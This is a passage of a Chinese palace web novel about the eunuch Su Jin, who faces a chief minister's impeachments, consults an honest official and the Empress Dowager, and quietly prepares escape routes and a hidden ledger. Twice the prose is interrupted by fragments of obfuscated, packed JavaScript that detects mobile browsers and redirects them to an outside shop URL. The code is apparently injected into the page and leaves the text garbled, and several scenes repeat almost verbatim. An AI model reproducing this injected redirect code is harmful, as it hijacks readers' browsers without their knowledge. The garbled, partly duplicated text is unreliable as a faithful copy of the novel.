苏瑾说：“我知道。” 冯保转过身，看着他，说：“你知道就好。你自己小心吧。” 说完，他走了。 苏瑾坐在椅子上，看着门关上。 冯保的话，像一块石头，压在他心上。 他知道自己处境不妙。但他没想到，会这么不妙。 他想了一会儿，站起来，走到窗边，推开窗户。 窗外，老槐树的叶子已经长满了，绿油油的，在阳光下闪闪发光。有几只麻雀在枝头跳来跳去，叽叽喳喳地叫着。它们不知道什么叫朝堂，什么叫争斗，什么叫生死。它们只知道今天天气好，有虫子吃，就够了。 苏瑾看着它们，忽然有些羡慕。 他关上门，去找一个人。 王世安。 这个人，他观察了很久。清廉，能干，不结党，不站队。太后提过他，新君也提过他。这样的人，在朝堂上很少见。 他想见见。 他没有直接去找王世安，而是让小顺子先去打听。打听王世安什么时候在家，什么时候出门，喜欢去什么地方。 小顺子去了三天，回来告诉他：王世安每天早出晚归，下了朝就回家，不出门应酬，不去酒楼茶馆。想见他，只能去他家里。 苏瑾想了想，决定去一趟。 不是白天，是夜里。夜里人少，不容易被人发现。 他让小顺子带路，趁着夜色，出了宫。 王世安的家在城东一条小巷子里，很偏僻，很破旧。三间小瓦房，围着一圈矮墙，墙上的白灰都剥落了，露出里面的土坯。门口种着一棵枣树，结着青青的果子。院子不大，但收拾得很干净，连一根杂草都没有。 苏瑾站在门口，敲了敲门。 过了一会儿，门开了。一个中年男人站在门口，穿着粗布衣裳，手里拿着一本书。他看着苏瑾，愣了一下。 “你是……” 苏瑾说：“王大人，在下苏瑾。” 王世安愣住了。 他当然知道苏瑾是谁。那个在朝堂上扳倒陈提督的人，那个新君面前的红人，那个让所有人都忌惮三分的太监。 他没想到苏瑾会来找他。 沉默了一会儿，王世安说：“苏公公，请进。” 苏瑾跟着他走进去。 屋里很小，很简陋。一张床，一张桌子，几把椅子，一个书架。桌上放着一盏油灯，灯下摊着一本书。墙上挂着一幅字，写着“清慎勤”三个字。字写得一般，但很端正，一笔一划，认认真真。 王世安请他坐下，倒了杯茶。茶是粗茶，杯子是粗瓷的，但洗得很干净。 苏瑾端起茶杯，喝了一口。茶不好喝，有点涩，但能喝。不是那种应付人的凉茶，是刚泡的，热的。 王世安看着他，说：“苏公公深夜来访，不知有何见教？” 苏瑾说：“没什么事。只是想见见王大人。” 王世安说：“见我？” 苏瑾说：“是。我观察王大人很久了。” 王世安愣了一下，说：“观察我？” 苏瑾说：“王大人清廉，能干，不结党，不站队。这样的人，在朝堂上很少见。” 王世安沉默了一会儿，说：“苏公公过奖了。我只是做自己该做的事。” 苏瑾说：“该做的事？什么该做的事？” 王世安说：“当官，就要为百姓做事。做事，就要认真做。不贪，不占，不害人。这就是该做的事。” 苏瑾看着他，说：“王大人，你知道你这样，会得罪很多人吗？” 王世安说：“知道。” 苏瑾说：“那你还这么做？” 王世安说：“做人，要对得起自己的良心。” 苏瑾沉默了。 良心。这个词，他在宫里十九年，很久没听过了。 他看着王世安，看着他眼睛里那种干净的光，忽然有些羡慕。 这个人，活得很简单。 简单的人，往往活得最久。 但他也知道，这种简单，不适合他。 他已经复杂了十九年，回不去了。 他站起来，说：“王大人，打扰了。我该走了。” 王世安送他到门口。月光下，他看着苏瑾，说：“苏公公，有句话我不知道当讲不当讲。” 苏瑾说：“王大人请讲。” 王世安说：“你是个聪明人。但聪明人，容易走错路。走错一步，就回不了头了。” 苏瑾看着他，说：“多谢王大人指点。” 他转身，走进夜色里。 小顺子在巷口等着他。看见他出来，跑过来，说：“苏公公，怎么样？” 苏瑾说：“走吧。” 两人消失在夜色里。 回到宫里，苏瑾坐在值房里，想了很久。 王世安的话，他记住了。 聪明人，容易走错路。 他不能走错。 一步都不能错。 接下来的日子，苏瑾更加小心了。 他不再主动找任何人，不再说任何多余的话，不再做任何让人误会的事。他每天按时去值房，按时回家，按时吃饭睡觉。像一只蜗牛，缩在壳里，一动不动。 但他知道，这壳保护不了他。 该来的，总会来。 这天，新君召见他。 苏瑾去了御书房。新君坐在书案后面，脸色不太好。看见他进来，指了指椅子：“坐。” 苏瑾坐下。 新君看着他，没说话。 苏瑾也没说话。 沉默持续了很久。久到苏瑾几乎以为新君不会再开口了。 然后新君把一本折子扔在他面前。 苏瑾低头看了一眼。是张谦益的参奏。 “你看看吧。”新君说，声音很淡。 苏瑾拿起折子，一页一页翻完。然后他放下，抬起头，看着新君。 新君说：“你有什么想说的？” 苏瑾说：“奴才无话可说。” 新君看着他，眼神复杂：“无话可说？” 苏瑾说：“陛下若信，奴才说千句万句也无用。陛下若不信，奴才一句不说也无妨。” 新君愣了一下。 然后他笑了。但这次的笑，和以前不一样。不是赞赏，不是温暖，是一种说不清的东西。 他说：“苏瑾，你越来越会说话了。” 苏瑾说：“奴才不敢。” 新君站起来，走到窗边，背对着他。过了好一会儿，才说：“张谦益这个人，朕留着有用。” 苏瑾说：“奴才知道。” 新君说：“你知道就好。”他转过身，看着苏瑾，“你呢？你还有用吗？” 苏瑾说：“奴才听陛下差遣。” 新君盯着他，看了很久。然后他走回来，坐下，说：“下去吧。” 苏瑾站起来，跪安，退了出去。 走出御书房，他站在院子里，出了一身冷汗。 新君那句“你还有用吗”，比任何质问都可怕。 这一关，又过了。 但他知道，这只是暂时的。 张谦益不会善罢甘休。他还会再动手。 他得准备得更充分一些。 回到值房，小顺子已经在里面了。 他正拿着抹布擦桌子，听见门响，头也没回，说：“茶在桌上，刚沏的。” 苏瑾愣了一下。 以前小顺子都是等在门口，看见他就跑过来问东问西。今天不一样。 他走过去，在椅子上坐下。桌上放着一碗热茶，旁边还有一碟点心。不是桂花糕，是几块云片糕，切得整整齐齐。 苏瑾端起茶，喝了一口。茶是热的，刚刚好。 小顺子擦完桌子，把抹布放好，才走过来，在他对面坐下。他看着苏瑾，说：“新君找您，没为难您吧？” 苏瑾说：“没有。” 小顺子点点头，没再问。他拿起一块云片糕，咬了一口，说：“御膳房新来的师傅，做的点心还行。您尝尝。” 苏瑾看了他一眼，拿起一块，咬了一口。甜的，但不腻。 他忽然说：“小顺子，张谦益参我了。” 小顺子嚼着糕，含糊地说：“我知道。” 苏瑾看着他：“你怎么知道？” 小顺子说：“外面都传遍了。”他把最后一口糕塞进嘴里，拍拍手，“说他参您‘恃宠而骄，结党营私，图谋不轨’。” 苏瑾说：“你不担心？” 小顺子说：“担心有什么用？您又没做过。” 苏瑾看着他，忽然觉得这孩子长大了。 以前的小顺子，听见这种事早就慌了，跑过来问“那怎么办”。现在他只是坐在这儿，吃着糕，喝着茶，好像天塌下来也不怕。 小顺子被他看得有些不自在，说：“您看我干什么？” 苏瑾说：“没什么。” 小顺子站起来，把碟子往他面前推了推：“您多吃点。这几天您又瘦了。” 苏瑾说：“嗯。” 小顺子走到门口，又回头看了一眼。他没说话，只是笑了笑，然后推开门，走了。 苏瑾坐在那儿，看着门关上。 他忽然想起自己十六岁的时候，也是这样，给别人端茶倒水，看别人脸色。那时候没人对他好。 现在有人对他好了，他却不知道该怎么还。 他低头看了看桌上的云片糕，又拿起一块，慢慢吃完。 窗外，月亮正升起来。 苏瑾坐在值房里，没有点灯。 窗外的月光透进来，照在他身上，白白的，凉凉的。 他在想今天的事，想新君的态度，想张谦益的参奏，想接下来该怎么办。 他知道，张谦益这一参，只是个开始。接下来，还会有更多人参他，更多人对付他。他得想办法，让自己不那么显眼。 但他能有什么办法？ 他只是一个太监。他没有根，没有后，没有家，没有靠山。他唯一的本钱，就是那本账。但那本账，既是他的刀，也是他的催命符。 他想了很久，没想出答案。 第二天，他去找冯保。 冯保看见他来，愣了一下，然后往椅背上一靠，说：“又出什么事了？” 苏瑾说：“有件事，想请冯公公帮忙。” 冯保苦笑：“你找我还能有别的事？”他坐直身子，叹了口气，“说吧。” 苏瑾说：“我想见太后。” 冯保愣住了。 他看着苏瑾，看了很久。然后他压低声音：“你疯了？太后是你想见就能见的？” 苏瑾说：“所以想请冯公公递个话。” 冯保沉默了一会儿，说：“你给我个理由。” 苏瑾说：“我想知道，太后还愿不愿留着我。” 冯保盯着他，眼神复杂。过了好一会儿，他才说：“苏瑾，你是不是觉得，有太后撑着，你就能一直活着？” 苏瑾没说话。 冯保说：“太后也是人。太后也会老，也会死。你靠太后，能靠多久？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459031|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏瑾说：“能靠一天是一天。” 冯保愣了一下，然后苦笑：“你这人……”他没说完，摇了摇头，“行，我帮你递。但我不敢保证太后会见你。” 苏瑾跪下，磕了个头：“多谢冯公公。” 冯保摆摆手：“别谢我。我这也是……”他顿了顿，没说完。 苏瑾站起来，要走。 “苏瑾。”冯保叫住他。 苏瑾回头。 冯保看着他，说：“你自己就没想过，给自己留条后路？” 苏瑾说：“想过。” 冯保说：“然后呢？” 苏瑾说：“还在想。” 冯保叹了口气：“快想吧。晚了就来不及了。” 苏瑾点点头，推开门，走了。 他不知道太后会不会见他。但他必须试试。 因为他是孤臣。 孤臣，只能靠自己。 三天后，太后召见他。 苏瑾去了慈宁宫。太后还是在那间暗沉沉的寝宫里见他。她坐在榻上，手里捻着佛珠，慢慢地捻着。 “苏瑾，”太后说，“听说你想见我？” 苏瑾跪下，说：“是。” 太后说：“什么事？” 苏瑾说：“奴才有事想请教太后。” 太后说：“说。” 苏瑾说：“奴才想问太后，奴才该怎么活？” 太后愣了一下，然后笑了。她说：“你这人，倒是直接。” 苏瑾说：“奴才不敢拐弯抹角。” 太后看着他，说：“你现在不是活得好好的吗？” 苏瑾说：“奴才现在是活得好好的。但明天呢？后天呢？奴才不知道。” 太后捻着佛珠，说：“你怕什么？” 苏瑾说：“奴才怕所有人。” 太后说：“所有人？” 苏瑾说：“新君，张阁老，那些怕奴才的人，那些忌惮奴才的人。他们都想让奴才死。” 太后说：“你觉得我会帮你？” 苏瑾说：“奴才不敢奢求。奴才只求太后指点一条活路。” 太后沉默了很久。 然后她放下佛珠，说：“苏瑾，你是个聪明人。聪明人，最容易犯的错，就是觉得自己能掌控一切。你掌控不了的。” 苏瑾说：“奴才知道。” 太后说：“知道就好。”她顿了顿，“你想活，只有一个办法。” 苏瑾说：“请太后指点。” 太后说：“让自己没用。” 苏瑾愣住了。 太后说：“你现在之所以危险，是因为你有用。新君用你，别人怕你。但有用的人，也是最容易被杀的人。因为你挡了别人的路。” 苏瑾沉默着。 太后继续说：“你要让自己变得没用。让新君不那么需要你，让别人不那么怕你。这样，你才能活。” 苏瑾说：“奴才明白了。” 太后说：“明白就好。去吧。” 苏瑾磕头，退了出去。 走出慈宁宫，他站在院子里，想了很久。 太后的话，他听懂了。 让自己没用。 但怎么让自己没用？ 他想了很久，想不出答案。 因为他已经太有用了。他知道的太多，记得的太多，能做的太多。他不可能一夜之间变成傻子，变成废物。 他只能慢慢来。 慢慢让自己不那么显眼，慢慢让别人忘了他，慢慢退出那个漩涡。 但他有时间吗？ 他不知道。 他只能试试。 接下来的日子，苏瑾开始变了。 他不再主动去见新君，不再主动提供消息，不再主动做任何事。新君召见他，他就去；不召见，他就不去。新君问他什么，他就答什么；不问，就不说。 他开始变得沉默，变得低调，变得不起眼。 有人来找他，他就应付着；没人来找他，他就一个人坐着。他不再打听外面的消息，不再关注朝堂的动向，不再管那些闲事。 他像一只蜗牛，缩进壳里，一动不动。 小顺子来看他，问他怎么了。他说没事，只是想静静。 小顺子不懂，但也没再问。 这天晚上，老周来了。 老周看着他，说：“苏公公，你最近怎么了？” 苏瑾说：“没什么。” 老周说：“不对。你肯定有事。” 苏瑾沉默了一会儿，说：“老周，我累了。” 老周愣住了。 苏瑾说：“十九年了，我一直在算计，一直在防备，一直在想办法活着。我累了。” 老周看着他，眼神复杂。过了好一会儿，他说：“苏公公，你还记得你刚入宫那年吗？” 苏瑾说：“记得。” 老周说：“那年你才九岁，瘦得跟麻杆似的，走路都打晃。我看着你，心想，这孩子活不了多久。没想到，你活了十九年。” 苏瑾没说话。 老周说：“你知道你为什么能活这么久吗？” 苏瑾说：“为什么？” 老周说：“因为你从来没想过放弃。” 苏瑾沉默了。 老周说：“现在你累了，想放弃了？” 苏瑾说：“没有。我只是……” 老周打断他：“没有就好。记住，在这宫里，放弃就是死。” 说完，老周走了。 苏瑾坐在黑暗里，想了很久。 老周的话，像一盆冷水，浇在他头上。 是啊，他不能放弃。 放弃了，就是死。 他还有小顺子，还有那本账，还有那些等着他清算的人。张谦益还在，账本里的一百三十七个人，还有大半逍遥法外。 他还有事没做完。 他不能死。 苏瑾站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他看着天上的月亮，想起今天太后的话，想起老周的话，想起小顺子的笑。 他不知道明天会怎样。 但他知道，他得继续活着。 不是因为他相信“活着就有希望”——这句话他对自己说过太多次，已经有些倦了。 而是因为他还不能死。 小顺子还每天来给他送茶。老周还夜里来给他递消息。那本账里的剩余的人，还等着他一个一个清算。 他死了，这些人怎么办？ 他死了，那些秘密就真的烂在肚子里了。那些贪官，那些恶人，就真的逍遥法外了。 所以他不能死。 不是因为希望，是因为责任。 他活到三十岁，第一次觉得，活着不是为了自己。 他站在窗前，看着月亮，忽然笑了。 太后让他“让自己没用”。可他偏偏，越来越有用了。 这不是他选的，是命。 他关上窗，回到桌边，坐下来。 夜还长，他还有很多事要想。 --- 8. 后路 太后的话，像一颗石子投进水里，在他心里荡了几天，始终落不了底。 “让自己没用。” 他明白太后的意思。在这宫里，有用是催命符。他越有用，盯着他的人越多，想杀他的人也越多。 可他已经太有用了。 他知道的太多，记得的太多，能做的太多。那些秘密就在他脑子里，赶不走，挖不掉。他不可能一夜之间变成傻子，变成废物。 但他也不能真的没用。 小顺子还靠着他。老周还指着他。账本里那一百多个人，还等着他一个一个清算。 他得活着。他得有用。但他也得让那些人觉得，他没那么有用。 这是一条极窄的路，窄到几乎不存在。可他必须走。 他想了三天，终于想明白一件事： 太后让他“没用”，不是让他真的变成废物，是让他学会藏。 藏起锋芒，藏起意图，藏起那本账。 该说话的时候不说话，该出头的时候不出头，该亮刀的时候把刀收好。 让人看不透，让人摸不准，让人不知道该怕他还是该忘了他。 这才是“没用”的真正意思。 他睁开眼睛，窗外天已经亮了。 新的一天，他要换一种活法。 他开始变了。 新君召见，他不再多说一个字。问什么答什么，不问就站着，像个木头人。 张谦益的人在远处盯着他，他就故意走最显眼的路，让他们盯。反正他们盯不出什么。 小顺子来送茶，他不让他在值房里多待。不是赶他走，是让他学乖——在外面转一圈再进来，别让人看出他们走得近。 小顺子不懂，但还是照做了。 只有夜里，老周来的时候，他才露出真面目。 第一条后路，是王世安。 这个人，他观察了很久。清廉，能干，不结党，不站队。太后提过他，新君也提过他。这样的人，在朝堂上很少见。 苏瑾决定再去找他。 还是夜里，还是那条小巷，还是那三间小瓦房。苏瑾站在门口，敲了敲门。 王世安开了门，看见他，愣了一下。然后他侧身让开，说：“苏公公，请进。” 苏瑾走进去，坐下。王世安倒了杯茶，还是粗茶，还是粗瓷杯。 苏瑾端起茶杯，喝了一口。他说：“王大人，我又来了。” 王世安说：“苏公公有什么事？” 苏瑾说：“我想请王大人帮个忙。” 王世安说：“什么忙？” 苏瑾说：“我想在宫外，找一个可靠的人。” 王世安愣住了：“可靠的人？” 苏瑾说：“是。一个能办事的人，一个不会出卖我的人。” 王世安沉默了一会儿，说：“苏公公，你想干什么？” 苏瑾说：“我想给自己留条后路。” 王世安看着他，眼神复杂。过了好一会儿，他说：“苏公公，你知道你在做什么吗？” 苏瑾说：“知道。” 王世安说：“你这是……” 苏瑾打断他：“王大人，我知道你不结党，不站队。我不是让你站队，我只是想请你帮我找个可靠的人。你认识的人多，应该知道谁可用，谁不可用。” 王世安沉默了很久。 然后他说：“有一个叫李富的商人，在城东开布庄。他为人本分，做事稳妥，从不掺和那些烂事。你可以找他。” 苏瑾说：“多谢王大人。” 王世安看着他，说：“苏公公，有句话我不知道当讲不当讲。” 苏瑾说：“王大人请讲。” 王世安说：“你这条路，不好走。” 苏瑾说：“我知道。” 王世安说：“知道还走？” 苏瑾说：“不走，就是死。” 王世安沉默了。 苏瑾站起来，说：“王大人，打扰了。我该走了。” 王世安送他到门口。月光下，他看着苏瑾，说：“苏公公，保重。” 苏瑾点点头，转身走进夜色里。 第二条后路，是李富。 苏瑾让小顺子去找他。 小顺子去了三天，回来说：“李富这个人，确实可靠。他在城东开布庄，做了二十年生意，从不掺和官场的事。人很本分，也很精明。他说，可以见您。” 苏瑾想了想，决定去见一面。 还是夜里，还是小顺子带路。他们出了宫，穿过几条小巷，来到城东的一条街上。街边有一家布庄，门脸不大，但收拾得很干净。门板上着，但留了一条缝，透出昏黄的光。 小顺子敲了敲门，三下，停一下，再两下——这是他们约好的暗号。 过了一会儿，门开了。一个五十来岁的中年人站在门口，圆脸，笑眯眯的，手上戴着个大金戒指。他看着苏瑾，眼睛眯了眯，然后侧身让开。 “苏公公？”那人说，“在下李富。请进。” 苏瑾走进去。布庄里面不大，堆满了布匹，一匹一匹码得整整齐齐，空气中弥漫着棉布的味道。李富领着他穿过铺面，来到后面的堂屋。堂屋里摆着八仙桌，太师椅，墙上挂着一幅字，写着“和气生财”四个字。字写得一般，但裱得很好。 李富请他坐下，上了茶。茶是好茶，龙井，杯子是细瓷的，和上次在王世安家喝的完全不同。苏瑾端起来，闻了闻，茶香清冽。 李富说：“苏公公大驾光临，不知有何吩咐？” 苏瑾说：“李掌柜，我想请你帮个忙。” 李富说：“苏公公请讲。” 苏瑾说：“我想在宫外，置一处宅子。” 李富愣了一下：“宅子？” 苏瑾说：“是。一处偏僻的，不惹眼的，谁也找不到的宅子。” 李富看着他，眼神里有些东西在转。他没有立刻回答，端起茶杯喝了一口，放下，又拿起，又放下。过了一会儿，他说：“苏公公，您这是……” 苏瑾说：“我给自己留条后路。” 李富沉默了一会儿，说：“苏公公，您是宫里的红人，怎么还需要后路？” 苏瑾说：“红人，最容易变成死人。” 李富看着他，笑了。他说：“苏公公是个明白人。”他顿了顿，“宅子的事，包在我身上。城西有一处，很偏僻，周围没几户人家，是以前一个商户的别院，后来败了，宅子空着。我可以帮您买下来。” 苏瑾说：“多少钱？” 李富说：“三百两。” 苏瑾从袖子里拿出一个布包，放在桌上。他说：“这里是五百两。三百两买房，二百两是谢礼。” 李富看了一眼那个布包，没动。他说：“苏公公，这谢礼太重了。” 苏瑾说：“不重。以后还有事麻烦你。” 李富想了想，把布包收起来。他说：“苏公公放心，这事我一定办好。房契上写谁的名字？” 苏瑾说：“写你的名字。” 李富愣住了：“我的名字？” 苏瑾说：“嗯。万一有人查，查不到我头上。” 李富点点头，说：“明白。” 苏瑾站起来，说：“我走了。” 李富送他到门口。他说：“苏公公，有什么事，您尽管吩咐。在下一定尽力。” 苏瑾看着他，说：“李掌柜，你就不怕？” 李富笑了，笑得像个生意人。他说：“怕什么？做生意，就有风险。没风险，哪来的利润？” 苏瑾点点头，走了。 第三条后路，是银子。 苏瑾这些年，攒了一些银子。不多，但也有几千两。他都藏在值房的夹墙里，一点一点，攒了五年。先帝赏的，新君赏的，还有一些是……他不想回忆的来源。总之，都在那里。 现在，他要把这些银子转移出去。 他让老周帮忙。 老周是巡更的，夜里到处走，没人注意他。他把银子分成几份，一份一份带出去，交给李富，让李富存到钱庄里。 老周做了半个月，把银子都带出去了。 最后一趟，老周回来，递给苏瑾一叠票号。他说：“李掌柜说，都存好了。这是票号，您收好。” 苏瑾接过票号，看了一眼，收进怀里。他说：“老周，辛苦你了。” 老周摆摆手：“说这个干什么。”他顿了顿，“苏公公，你这是准备走了？” 苏瑾说：“不是走，是准备。” 老周点点头，说：“行。有事随时找我。” 他从怀里摸出一个小布包，递给苏瑾。 他转身要走，走到门口又停下来，回头看着苏瑾。 苏瑾说：“还有事？” 老周沉默了一会儿，说：“苏公公，你这条命，不是你一个人的。” 苏瑾愣住了。 老周说：“小顺子那孩子，我看着他长大的。你要是没了，他怎么办？” 苏瑾没说话。 老周说：“我老了，活不了几年了。但你还年轻。你得活着。” 说完，他推开门，走了。 苏瑾站在黑暗里，想了很久。 第四条后路，是那本账。 那本账，是他最大的本钱，也是他最大的催命符。他得把它藏好，藏得谁也找不到。 他把账本分成三份。 一份，藏在值房的夹墙里。那是假的，只有一些无关紧要的东西。比如谁和谁吵架了，谁在背后说了谁的坏话，都是些鸡毛蒜皮。万一有人来搜，搜到了，也不会要他的命。 一份，托老周藏在宫外的一个地方。那是真的，但只有一部分。上面记着张谦益的几件事，还有一些不太要害的人。万一他出了事，老周可以把这一部分拿出来，替他说话。 一份，他贴身收着。那是真的，最重要的一部分。上面记着最关键的人和事，谁贪了多少，谁害了谁，谁有什么把柄，证据在哪里。这一份，他永远不会给别人。 这是他最后的底牌。 做完这些，他松了口气。 现在，他有后路了。 但他也知道，后路，只是后路。 能用上后路的时候，就是最危险的时候。 他希望永远用不上。 这天，新君又召见他。 苏瑾去了御书房。新君坐在书案后面，脸色比上次好一些。看见他进来，指了指椅子：“坐。” 苏瑾坐下。 新君说：“苏瑾，张谦益又参你了。” 苏瑾心里一动，但脸上什么表情都没有。他说：“张阁老参奴才什么？” 新君说：“参你‘私蓄财产，图谋不轨’。” 苏瑾说：“陛下信吗？” 新君说：“朕让人去查了。你值房里，只有几件破衣服，几本书，几两碎银子。没有私蓄财产。” 苏瑾说：“奴才不敢。” 新君看着他，说：“苏瑾，你这个人，太干净了。” 苏瑾说：“干净不好吗？” 新君说：“太好的人，反而让人不放心。” 苏瑾没说话。 新君说：“你知道张谦益为什么老参你吗？” 苏瑾说：“知道。” 新君说：“为什么？” 苏瑾说：“因为他怕奴才。” 新君笑了：“怕你？他是一朝首辅，怕你一个太监？” 苏瑾说：“怕。因为他知道，奴才手里有他的把柄。” 新君愣住了。 他看着苏瑾，眼神锐利。他说：“什么把柄？” 苏瑾说：“三年前，河南修河堤，他吃了两万两。” 新君脸色变了。 苏瑾继续说：“去年，浙江乡试，他收了五万两，卖了三个名额。那三个人的卷子，奴才看过，狗屁不通。但他们都中了，都当了官。有人弹劾，奏折被他压了下去。先帝问起，他说‘查无实据’。” 新君盯着他，没说话。 苏瑾说：“五年前，他弟弟在老家强占民田，逼死了三条人命。苦主告到京城，他花了一万两把事情摆平。那个替他去办的人，就是已经死了的陈提督。那时候陈提督还在刑部当个小官，收了钱，把案子压了下去。案卷还在刑部，编号乙卯一百二十三号。” 新君沉默了很久。 然后他问：“这些事，你怎么知道？” 苏瑾说：“奴才在司礼监这些年，经手的奏折多。有些事，记在心里了。” 新君盯着他，看了很久。然后他说：“苏瑾，你知道你在说什么吗？” 苏瑾说：“知道。” 新君说：“你知道这些事说出来，会死多少人吗？” 苏瑾说：“知道。” 新君说：“那你为什么还要说？” 苏瑾说：“因为陛下问起，奴才不敢不说。” 新君沉默了。 他站起来，走到窗边，背对着苏瑾，说：“苏瑾，朕今天跟你说的话，你记住。” 苏瑾说：“奴才听着。” 新君说：“张谦益这个人，朕留着有用。你现在不能动他。” 苏瑾说：“奴才知道。” 新君说：“你知道就好。”他转过身，看着他，“至于你手里那些东西，朕不管你留着。但你要记住，什么时候该拿出来，什么时候不该拿出来。” 苏瑾说：“奴才明白。” 新君走回来，坐下，说：“去吧。” 苏瑾站起来，跪安，退了出去。 走出御书房，他站在院子里，出了一身冷汗。 今天，他赌了一把。 他把张谦益的把柄说了出来，让新君知道，他手里有东西。这样，新君就不会轻易动他。因为他还有用。 但他也冒了险。 新君会不会觉得他知道的太多，反而更想杀他？ 他不知道。 他只能赌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459032|201258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌赢了，活。赌输了，死。 他赌了一辈子，不在乎再赌一次。 回到值房，小顺子已经在里面了。 他正拿着抹布擦书架，听见门响，头也没回，说：“茶在桌上，刚沏的。” 苏瑾走过去，在椅子上坐下。桌上放着一碗热茶，旁边还有一碟点心——不是桂花糕，是几块枣泥酥。 他端起茶，喝了一口。茶是热的，刚刚好。 小顺子擦完书架，把抹布放好，才走过来在他对面坐下。他看着苏瑾，说：“新君没为难您吧？” 苏瑾说：“没有。” 小顺子点点头，没再问。他拿起一块枣泥酥，咬了一口，说：“御膳房新来的师傅做的，您尝尝。” 苏瑾拿起一块，咬了一口。甜的，但不腻。 他忽然说：“小顺子，你有没有想过，以后怎么办？” 小顺子愣了一下：“以后？” 苏瑾说：“嗯。万一有一天，我不在了。” 小顺子脸色变了。他把手里的点心放下，说：“您说什么呢？” 苏瑾没说话。 小顺子看着他，眼眶慢慢红了。他说：“您去哪，我就去哪。这话我说过的。” 苏瑾说：“我知道。”他顿了顿，“可我不想让你跟着我死。” 小顺子愣住了。 苏瑾说：“你还年轻。还有很长的路要走。” 小顺子沉默了很久。然后他低下头，说：“您是不是又在想赶我走？” 苏瑾说：“不是。” 小顺子抬起头，看着他。 苏瑾说：“我是想，万一……你得有个地方去。” 他从袖子里拿出一个小布包，放在桌上，推到小顺子面前。 小顺子低头看了一眼：“这是什么？” 苏瑾说：“一点银子。不多，但够你在外面活几年。” 小顺子愣住了。他看着那个布包，又抬起头看着苏瑾，眼泪终于掉下来。 他说：“苏公公，您这是……您这是给我留后路？” 苏瑾没说话。 小顺子把布包推回去，说：“我不要。您自己留着。” 苏瑾说：“我还有。” 小顺子说：“那我也不要。您在哪，我在哪。您出事，我就跟着出事。您活着，我就伺候您。您别想甩开我。” 苏瑾看着他，过了很久，才说：“那你收着。万一有用。” 小顺子还是摇头。 苏瑾说：“就当替我保管。” 小顺子犹豫了一下，终于把布包收进怀里。他说：“那我替您保管。等您需要的时候，我再给您。” 苏瑾点点头，没再说话。 小顺子站起来，说：“茶凉了我再给您沏。”他端起茶碗，走到门口，又回头看了一眼。 他说：“苏公公，您放心。我不会让您一个人。” 他推开门，走了。 苏瑾坐在那儿，看着门关上。 这天下午，冯保来了。 冯保推开门，走进来，看着他。过了好一会儿，冯保说：“苏瑾，你最近干什么了？” 苏瑾说：“没干什么。” 冯保说：“没干什么？那张谦益为什么像疯了一样查你？” 苏瑾说：“他查他的，我过我的。” 冯保盯着他，说：“你是不是又做了什么？” 苏瑾说：“没有。” 冯保叹了口气，在椅子上坐下。他说：“苏瑾，你知不知道，现在外面都在传，说你要扳倒张谦益？” 苏瑾愣住了：“谁传的？” 冯保说：“不知道。反正传得很厉害。” 苏瑾沉默了一会儿，说：“我没想扳倒他。” 冯保说：“你没想，但别人以为你想。这就够了。” 苏瑾没说话。 冯保站起来，走到窗边，背对着他，说：“苏瑾，你知道这个宫里最可怕的是什么吗？” 苏瑾说：“是什么？” 冯保说：“是谣言。谣言传着传着，就变成真的了。” 苏瑾说：“我知道。” 冯保转过身，看着他，说：“你知道就好。你自己小心吧。” 说完，他走了。 苏瑾坐在椅子上，想了很久。 冯保的话，提醒了他。 有人在传他要扳倒张谦益。这是谁传的？是张谦益自己？还是别人？ 不管是谁，这个谣言传出去，对他都不利。 张谦益会以为他真的想动手，会更防备他，会更想杀他。 别人会以为他野心太大，会离他更远。 他得想办法，澄清这个谣言。 但他怎么澄清？ 他没法澄清。 因为有些事，越描越黑。 他只能等。 等谣言自己平息。 或者等有人替他澄清。 这天夜里，老周来了。 他敲三下，停一下，再敲两下。苏瑾开了门，他闪进来，把门关上。 老周说：“苏公公，张谦益那边又有动静了。” 苏瑾说：“什么动静？” 老周说：“他在查你。查你最近跟谁来往，去了哪里，做了什么。” 苏瑾说：“查到了什么？” 老周说：“没查到什么。你太小心了，一点把柄都不露。” 苏瑾说：“那就好。” 老周说：“但他不会罢休的。你得小心。” 苏瑾说：“我知道。” 老周点点头，转身走了。 夜深了。 苏瑾坐在值房里，把贴身藏着的那份账本拿出来，一页一页翻看。 张谦益的事，他记得清清楚楚。哪年哪月，收了谁的钱，害了谁的命，证据在哪里。 还有周文渊的事。那封血书虽然已经给了太后，但内容他一个字都没忘。陈提督虽然死了，可还有别的人——那些当年帮着魏忠害人的人，一个都跑不掉。 他一页一页翻，一页一页记。其实不用记，都在这儿了。 翻完了，他把账本折好，重新贴身收起。 他忽然想起刚入宫那年，第一次知道这宫里有这么多秘密的时候，他还害怕过。 现在不怕了。 秘密多了，就成了盔甲。 窗外的月亮又圆了。 苏瑾站起来，走到窗边，推开窗户。 月光洒进来，照在他脸上。他看着天上的月亮，忽然想起小时候，在家乡，也看过这样的月亮。 那时候他叫狗娃，不知道什么叫朝堂，什么叫争斗，什么叫生死。 现在他知道了。 但他不后悔。 这条路是他自己选的。走到底，也得自己走。 他关上窗，回到桌边，坐下来。 夜还长。 明天还有明天的事。 --- 9. 惊变 天顺二十二年，冬。 这一年，苏瑾三十二岁。 他在宫里活了二十三年。 